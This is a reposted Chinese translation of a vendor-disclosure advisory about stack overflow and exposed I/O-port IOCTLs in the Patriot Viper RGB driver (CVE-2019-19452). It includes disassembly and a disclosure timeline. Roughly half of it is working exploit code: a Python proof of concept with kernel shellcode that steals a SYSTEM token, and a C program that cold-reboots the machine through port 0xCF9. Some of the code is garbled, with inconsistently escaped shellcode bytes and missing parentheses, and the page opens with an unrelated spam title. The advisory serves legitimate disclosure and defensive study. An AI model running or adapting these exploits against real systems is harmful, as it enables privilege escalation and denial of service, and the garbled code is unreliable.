自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

對(duì) Viper RGB 驅(qū)動(dòng)多個(gè)緩沖區(qū)溢出漏洞的分析

安全 漏洞
在處理IoControlCode 0x80102040時(shí),在Viper驅(qū)動(dòng)程序RGB 1.1版中發(fā)現(xiàn)緩沖區(qū)溢出漏洞。

[[348655]]

0x01 漏洞信息

漏洞類(lèi)型:基于堆棧的緩沖區(qū)溢出[ CWE-121 ],暴露的IOCTL(訪問(wèn)控制不足)[ CWE-782 ] 影響:代碼執(zhí)行允許特權(quán)提升 遠(yuǎn)程可利用:否 本地可利用:是 CVE名稱(chēng):  CVE-2019-19452

0x02 漏洞描述

Patriot Memory是一家總部位于美國(guó)的技術(shù)公司,設(shè)計(jì)和制造內(nèi)存模塊,閃存驅(qū)動(dòng)器,移動(dòng)配件和游戲設(shè)備。

在處理IoControlCode 0x80102040時(shí),在Viper驅(qū)動(dòng)程序RGB 1.1版中發(fā)現(xiàn)緩沖區(qū)溢出漏洞。本地攻擊者可以利用此漏洞,因此獲得NT AUTHORITY \ SYSTEM特權(quán)。

IOCTL代碼0x80102050和0x80102054允許具有低特權(quán)的用戶(hù)從IO端口讀取或向其寫(xiě)入1/2/4字節(jié)??梢酝ㄟ^(guò)多種方式來(lái)利用它來(lái)最終以提升的特權(quán)運(yùn)行代碼。

0x03  安全建議

1.1版和所有以前的版本在每個(gè)受支持的Windows版本中都容易受到攻擊(安裝程序:Patriot Viper RGB v1.1.exe)

解決方案和解決方法:

Patriot Memory已發(fā)布版本MSIO_191231_v1.2,該版本已修復(fù)報(bào)告中的漏洞。

這些漏洞是由Core Security Exploit團(tuán)隊(duì)的Ricardo Narvaja和Lucas Dominikow發(fā)現(xiàn)的。

0x04  漏洞分析和利用驗(yàn)證

基于堆棧的緩沖區(qū)溢出特權(quán)提升

CVE-2019-19452

對(duì)版本1.0的漏洞的利用驗(yàn)證發(fā)現(xiàn)了溢出漏洞的存在,該溢出可以覆蓋ZwOpenSection和ZwMapViewOfSection的參數(shù)。

1.0版和1.1版之間的二進(jìn)制代碼差異表明,盡管對(duì)這些函數(shù)的參數(shù)進(jìn)行了檢查,但先前的溢出漏洞仍存在未進(jìn)行修補(bǔ),而CoreLabs在隨后研究中能夠控制其大小。

可以在下面找到有關(guān)版本1.0的信息:

https://github.com/active-labs/Advisories/blob/master/ACTIVE-2019-012.md

https://www.activecyber.us/activelabs/viper-rgb-driver-local-privilege-escalation-cve-2019-18845

在版本1.1中,控制器分析IoControlCodes并到達(dá)此位置,將IoControlCode與0x80102040進(jìn)行比較。

  1. .text:0000000000001518 lea     rcx, aIrpMjDeviceCon ; "IRP_MJ_DEVICE_CONTROL" 
  2. .text:000000000000151F call    DbgPrint 
  3. .text:0000000000001524 mov     r11d, [rbp+18h] 
  4. .text:0000000000001528 cmp     r11d, 80102040h 
  5. .text:000000000000152F jz      loc_16D4 

如果比較結(jié)果正確,則會(huì)調(diào)用由CoreLabs控制的MaxCount(要復(fù)制的大?。┖蚐RC(源緩沖區(qū))的memmove,沒(méi)有進(jìn)行驗(yàn)證以確保數(shù)據(jù)適合目標(biāo)緩沖區(qū),從而導(dǎo)致堆棧溢出。

  1. .text:00000000000016E8 lea     rcx, [rsp+78h+Src] ; Dst 
  2. .text:00000000000016ED mov     r8, rbx         ; MaxCount 
  3. .text:00000000000016F0 mov     rdx, rsi        ; Src 
  4. .text:00000000000016F3 call    memmove 

由于驅(qū)動(dòng)程序尚未使用安全cookie保護(hù)函數(shù)的堆棧,因此可以成功執(zhí)行任意代碼。

可以通過(guò)調(diào)用CreateFileA來(lái)獲取驅(qū)動(dòng)程序的句柄,然后通過(guò)發(fā)送受控?cái)?shù)據(jù)來(lái)調(diào)用DeviceIoControl來(lái)實(shí)現(xiàn)此功能。下面將使用針對(duì)Windows 7 SP1 x64設(shè)計(jì)PoC,演示針對(duì)x64版本驅(qū)動(dòng)程序的代碼執(zhí)行。該代碼將需要改編為其他Windows版本。

有效利用漏洞取決于目標(biāo)設(shè)備和體系結(jié)構(gòu)的細(xì)節(jié)。例如,在Windows 10中,有SMEP / SMAP和其他特定的緩解措施。

下面看到的PoC漏洞利用演示了此過(guò)程,該過(guò)程重用了連接套接字以生成shell并在系統(tǒng)上執(zhí)行任意命令。

  1. #!/usr/bin/env python 
  2. import struct, sys, os 
  3. from ctypes import * 
  4. from ctypes.wintypes import * 
  5. import os 
  6. import struct 
  7. import sys 
  8. from ctypes import wintypes 
  9.   
  10.   
  11. GENERIC_READ = 0x80000000 
  12. GENERIC_WRITE = 0x40000000 
  13. GENERIC_EXECUTE = 0x20000000 
  14. GENERIC_ALL = 0x10000000 
  15. FILE_SHARE_DELETE = 0x00000004 
  16. FILE_SHARE_READ = 0x00000001 
  17. FILE_SHARE_WRITE = 0x00000002 
  18. CREATE_NEW = 1 
  19. CREATE_ALWAYS = 2 
  20. OPEN_EXISTING = 3 
  21. OPEN_ALWAYS = 4 
  22. TRUNCATE_EXISTING = 5 
  23. HEAP_ZERO_MEMORY=0x00000008 
  24. MEM_COMMIT = 0x00001000 
  25. MEM_RESERVE = 0x00002000 
  26. PAGE_EXECUTE_READWRITE = 0x00000040 
  27.   
  28. ntdll = windll.ntdll 
  29. kernel32 = windll.kernel32 
  30.   
  31. ntdll.NtAllocateVirtualMemory.argtypes = [c_ulonglong, POINTER(c_ulonglong), c_ulonglong, POINTER(c_ulonglong),c_ulonglong,c_ulonglong] 
  32. kernel32.WriteProcessMemory.argtypes = [c_ulonglong, c_ulonglong, c_char_p,  c_ulonglong, POINTER(c_ulonglong)] 
  33.   
  34. GetProcAddress = kernel32.GetProcAddress 
  35. GetProcAddress.restype = c_ulonglong 
  36. GetProcAddress.argtypes = [c_ulonglong, wintypes.LPCSTR] 
  37.   
  38.   
  39. GetModuleHandleA = kernel32.GetModuleHandleA 
  40. GetModuleHandleA.restype = wintypes.HMODULE 
  41. GetModuleHandleA.argtypes = [wintypes.LPCSTR] 
  42.   
  43. k32Dll=GetModuleHandleA("kernel32.dll"
  44. print "0x%X"%(k32Dll) 
  45.   
  46. if (not k32Dll) : 
  47.     print ("[-] Failed To get module handle kernel32.dll\n"
  48.   
  49. WinExec=GetProcAddress(k32Dll, "WinExec"
  50.   
  51. print "0x%X"%(WinExec) 
  52.   
  53. if (not WinExec) : 
  54.     print ("[-] Failed To get WinExec address.dll\n"
  55.   
  56. print "WinExec = 0x%x"%WinExec 
  57.   
  58. raw_input() 
  59.   
  60.   
  61. buf = kernel32.VirtualAlloc(c_int(0x0),c_int(0x824),c_int(0x3000),c_int(0x40)) 
  62.   
  63. shellcode="\x90\x90\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x42\x70\x4D\x8B\x88\x88\x01\x00\x00\x49\x8B\x09\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x05\x48\x8B\x09\xEB\xF1\x48\\x8b\\x81\\x80\\x00\\x00\\x00\\x24\\xf0\\x49\\x89\\x80\\x08\\x02\\x00\\x00\\x48\\x31\\xc0\\x48\\x81\\xc4\\x28\\x01\\x00\x00\xc3"  
  64.   
  65. #STARTS HERE 
  66. written    = c_ulonglong(0) 
  67. dwReturn      = c_ulong() 
  68. hDevice = kernel32.CreateFileA(r"\\.\Msio",GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None ) 
  69.   
  70.   
  71. print "[+] buffer address: 0x%X" % buf 
  72.   
  73. data= "\xeb\x4e" + 0x46  * "A" + struct.pack("<Q",int(buf)) + shellcode 
  74.   
  75. print "%r"%data 
  76.   
  77. kernel32.RtlMoveMemory(c_int(buf),data,c_int(len(data))) 
  78.   
  79. bytes_returned = wintypes.DWORD(0) 
  80. h=wintypes.HANDLE(hDevice) 
  81. b=wintypes.LPVOID(buf) 
  82.               
  83. #TRIGGER 
  84.   
  85. dev_ioctl = kernel32.DeviceIoControl(hDevice, 0x80102040, b, 80, None, 0,byref(dwReturn), None) 
  86.   
  87. os.system("calc.exe"
  88.   
  89. kernel32.CloseHandle(hDevice) 

用python 64位執(zhí)行該代碼后,將顯示具有NT AUTHORITY \ SYSTEM特權(quán)的calc。

端口映射的I / O訪問(wèn)

盡管當(dāng)前沒(méi)有為該漏洞分配CVE,但是如果MITER分配了其他CVE名稱(chēng),則將使用其他信息更新本文檔。

我們可以使用IOCTL代碼0x80102050讀取IO端口。

要指定我們要讀取的IO端口以及要讀取的字節(jié)大小,必須發(fā)送一個(gè)精心制作的緩沖區(qū),其中前兩個(gè)字節(jié)是IO端口,第六個(gè)是要讀取的字節(jié)數(shù)1、2或4。

此外,可以使用IOCTL代碼0x80102054對(duì)IO端口進(jìn)行寫(xiě)入。另外,必須發(fā)送一個(gè)精心制作的緩沖區(qū)。此緩沖區(qū)與讀取的緩沖區(qū)非常相似。主要區(qū)別在于我們還需要指定要發(fā)送到IO端口的數(shù)據(jù)。該數(shù)據(jù)可以為1/2/4字節(jié),并從IO端口(3字節(jié)起)旁邊開(kāi)始,在這種情況下,第六個(gè)字節(jié)將確定要寫(xiě)入的字節(jié)數(shù)。

通過(guò)讀取/寫(xiě)入IO端口我們可以實(shí)現(xiàn)利用。例如,以下PoC代碼將通過(guò)重新引導(dǎo)計(jì)算機(jī)來(lái)導(dǎo)致拒絕服。

  1. #include  
  2. #include  
  3.   
  4. #define IOCTL_READ_IOPORT 0x80102050  
  5. #define IOCTL_WRITE_IOPORT 0x80102054 
  6.   
  7.   
  8. HANDLE GetDriverHandle(LPCSTR driverName) 
  9.   
  10.     HANDLE hDriver = CreateFile(driverName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 
  11.   
  12.     if (hDriver == INVALID_HANDLE_VALUE) 
  13.     { 
  14.         printf("Failed GetDriverHandle.\nError code:%d\n", GetLastError()); 
  15.         exit(1); 
  16.     } 
  17.   
  18.   
  19.     return hDriver; 
  20.   
  21.   
  22.   
  23. BYTE ReadPort(HANDLE hDriver, unsigned int port) 
  24.     DWORD inBufferSize = 10; 
  25.     DWORD outBufferSize = 1; 
  26.   
  27.     DWORD bytesReturned = 0; 
  28.   
  29.     LPVOID inBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
  30.     LPVOID outBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
  31.   
  32.   
  33.     if (inBuffer == NULL
  34.     { 
  35.         printf("Failed to allocate inBuffer %d\n", GetLastError()); 
  36.         return 1; 
  37.     } 
  38.   
  39.     if (outBuffer == NULL
  40.     { 
  41.         printf("Failed to allocate outBuffer %d\n", GetLastError()); 
  42.         return 1; 
  43.     } 
  44.   
  45.   
  46.     memcpy((char*)inBuffer, &port, 2); 
  47.     memset((char*)inBuffer + 6, 0x1, 1); 
  48.       
  49.   
  50.     BOOL retDevIoControl = DeviceIoControl(hDriver, IOCTL_READ_IOPORT, inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, 0); 
  51.   
  52.     if (retDevIoControl == 0) 
  53.     { 
  54.         printf("Failed DeviceIoControl\nError code:%d", GetLastError()); 
  55.         return 1; 
  56.     } 
  57.   
  58.     return (BYTE)(*((char*)outBuffer)); 
  59.   
  60. void WritePort(HANDLE hDriver, unsigned int port, BYTE data) 
  61.   
  62.     DWORD inBufferSize = 10; 
  63.     DWORD outBufferSize = 1; 
  64.   
  65.     DWORD bytesReturned = 0; 
  66.   
  67.     LPVOID inBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
  68.     LPVOID outBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
  69.   
  70.     if (inBuffer == NULL
  71.     { 
  72.         printf("Failed to allocate inBuffer %d\n", GetLastError()); 
  73.         exit(1); 
  74.     } 
  75.   
  76.     if (outBuffer == NULL
  77.     { 
  78.         printf("Failed to allocate outBuffer %d\n", GetLastError()); 
  79.         exit(1); 
  80.     } 
  81.   
  82.   
  83.   
  84.     memcpy((char*)inBuffer, &port, 2); 
  85.     memcpy((char*)inBuffer + 2, &data, 1); 
  86.     memset((char*)inBuffer + 6, 0x1, 1);  
  87.   
  88.   
  89.   
  90.     BOOL retDevIoControl = DeviceIoControl(hDriver, IOCTL_WRITE_IOPORT, inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, 0); 
  91.   
  92.     if (retDevIoControl == 0) 
  93.     { 
  94.         printf("Failed DeviceIoControl\nError code:%d", GetLastError()); 
  95.         exit(1); 
  96.     } 
  97.   
  98.   
  99.   
  100. int main(int argc, char** argv) 
  101.     LPCSTR driverName = (LPCSTR)"\\\\.\\Msio"
  102.   
  103.   
  104.     HANDLE hDriver = GetDriverHandle(driverName); 
  105.   
  106.     BYTE portCF9 = ReadPort(hDriver, 0xcf9) & ~0x6; 
  107.       
  108.     WritePort(hDriver, 0xcf9, portCF9 | 2); 
  109.       
  110.     Sleep(50); 
  111.       
  112.     WritePort(hDriver, 0xcf9, portCF9 | 0xe); // Cold Reboot 
  113.       
  114.   
  115.     CloseHandle(hDriver); 
  116.   
  117.   
  118.     return 0; 

0x05 漏洞披露時(shí)間表

2019年11月6日– CoreLabs通過(guò)support@patriotmem.com向供應(yīng)商發(fā)出了聯(lián)系電子郵件,  要求披露。

2019年11月26日–通過(guò)MITER網(wǎng)站申請(qǐng)CVE,收到申請(qǐng)確認(rèn)。

2019年11月29日– MITER將CVE-2019-19452分配給第一個(gè)漏洞。

2019年12月5日–稱(chēng)為Patriot Memory HQ(510-979-1021),已通過(guò)自動(dòng)電話(huà)系統(tǒng)轉(zhuǎn)發(fā)給技術(shù)支持,還留下了留言信息和電子郵件。

2019年12月5日–收到來(lái)自賣(mài)方的電子郵件,要求進(jìn)一步的信息?;貜?fù)了非常基本的描述,并要求在發(fā)送POC之前確認(rèn)此電子郵件是公司的首選公開(kāi)方法。

2019年12月17日–收到來(lái)自供應(yīng)商Patriot R&D的電子郵件,其中確認(rèn)了提交方式并將其命名為主要聯(lián)系人,回復(fù)了PoC。

2020年1月1日–收到來(lái)自供應(yīng)商的電子郵件,其中附有建議的修復(fù)程序。

2020年1月8日–確認(rèn)補(bǔ)丁程序正確。與供應(yīng)商確認(rèn)補(bǔ)丁程序有效,并詢(xún)問(wèn)他們何時(shí)發(fā)布補(bǔ)丁程序。

2020年1月9日–供應(yīng)商聲明該補(bǔ)丁最多需要兩周才能發(fā)布(2020年1月23日)。

2020年1月16日–通過(guò)電子郵件發(fā)送給供應(yīng)商,以確認(rèn)23日的一切按計(jì)劃進(jìn)行。說(shuō)明我們打算在24日發(fā)布。

2020年1月16日–發(fā)現(xiàn)第二個(gè)未通過(guò)補(bǔ)丁解決的漏洞。新的POC發(fā)送給愛(ài)國(guó)者。

2020年1月20日–收到來(lái)自供應(yīng)商的電子郵件,指出他認(rèn)為發(fā)現(xiàn)第二個(gè)漏洞可能會(huì)延遲發(fā)布有問(wèn)題的補(bǔ)丁。

2020年2月7日– Tweet由第三方發(fā)布在Twitter上,其中包含有關(guān)Viper RGB漏洞的信息。CoreLabs驗(yàn)證了推文中的信息是否正確,數(shù)據(jù)現(xiàn)在處于公開(kāi)狀態(tài)。

2020年2月8日–向MITRE請(qǐng)求第二個(gè)漏洞的CVE身份。

2020年2月8日–向Patriot請(qǐng)求第二個(gè)漏洞的補(bǔ)丁程序狀態(tài),并告知他們?cè)撔畔F(xiàn)已在Twitter上公開(kāi)。

2020年2月10日–Patriot回應(yīng)說(shuō),第二個(gè)漏洞目前沒(méi)有補(bǔ)丁。

2020年2月12日–告知Patriot,隨著有關(guān)漏洞的信息公開(kāi),CoreLabs計(jì)劃在2020年2月17日發(fā)布,除非在2020年2月14日之前收到進(jìn)一步的溝通。

2020年2月17日–已發(fā)布咨詢(xún)CORE-2020-0001。

參考信息:

https://www.viper.patriotmemory.com/viperrgbdramsoftware

https://www.coresecurity.com/contact

本文翻譯自:​https://www.coresecurity.com/advisories/viper-rgb-driver-multiple-vulnerabilities?source=twitter&code=CMP-0000001929&ls=100000000&utm_campaign=core-cts-emails&utm_content=117968468&utm_medium=social&utm_source=twitter&hss_channel=tw-17157238如若轉(zhuǎn)載,請(qǐng)注明原文地址。

 

責(zé)任編輯:姜華 來(lái)源: 嘶吼網(wǎng)
相關(guān)推薦

2019-02-27 13:58:29

漏洞緩沖區(qū)溢出系統(tǒng)安全

2017-01-09 17:03:34

2020-08-10 08:37:32

漏洞安全數(shù)據(jù)

2018-11-01 08:31:05

2011-11-15 16:00:42

2022-08-09 08:31:40

C -gets函數(shù)漏洞

2015-09-02 09:01:03

2017-08-30 20:49:15

2014-07-30 11:21:46

2018-01-26 14:52:43

2009-09-24 18:16:40

2010-09-29 15:59:04

2010-12-27 10:21:21

2011-02-24 09:21:31

2010-10-09 14:45:48

2015-03-06 17:09:10

2010-09-08 15:43:18

2011-03-23 12:39:44

2021-01-27 18:03:52

漏洞網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2011-07-20 10:54:14

C++
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)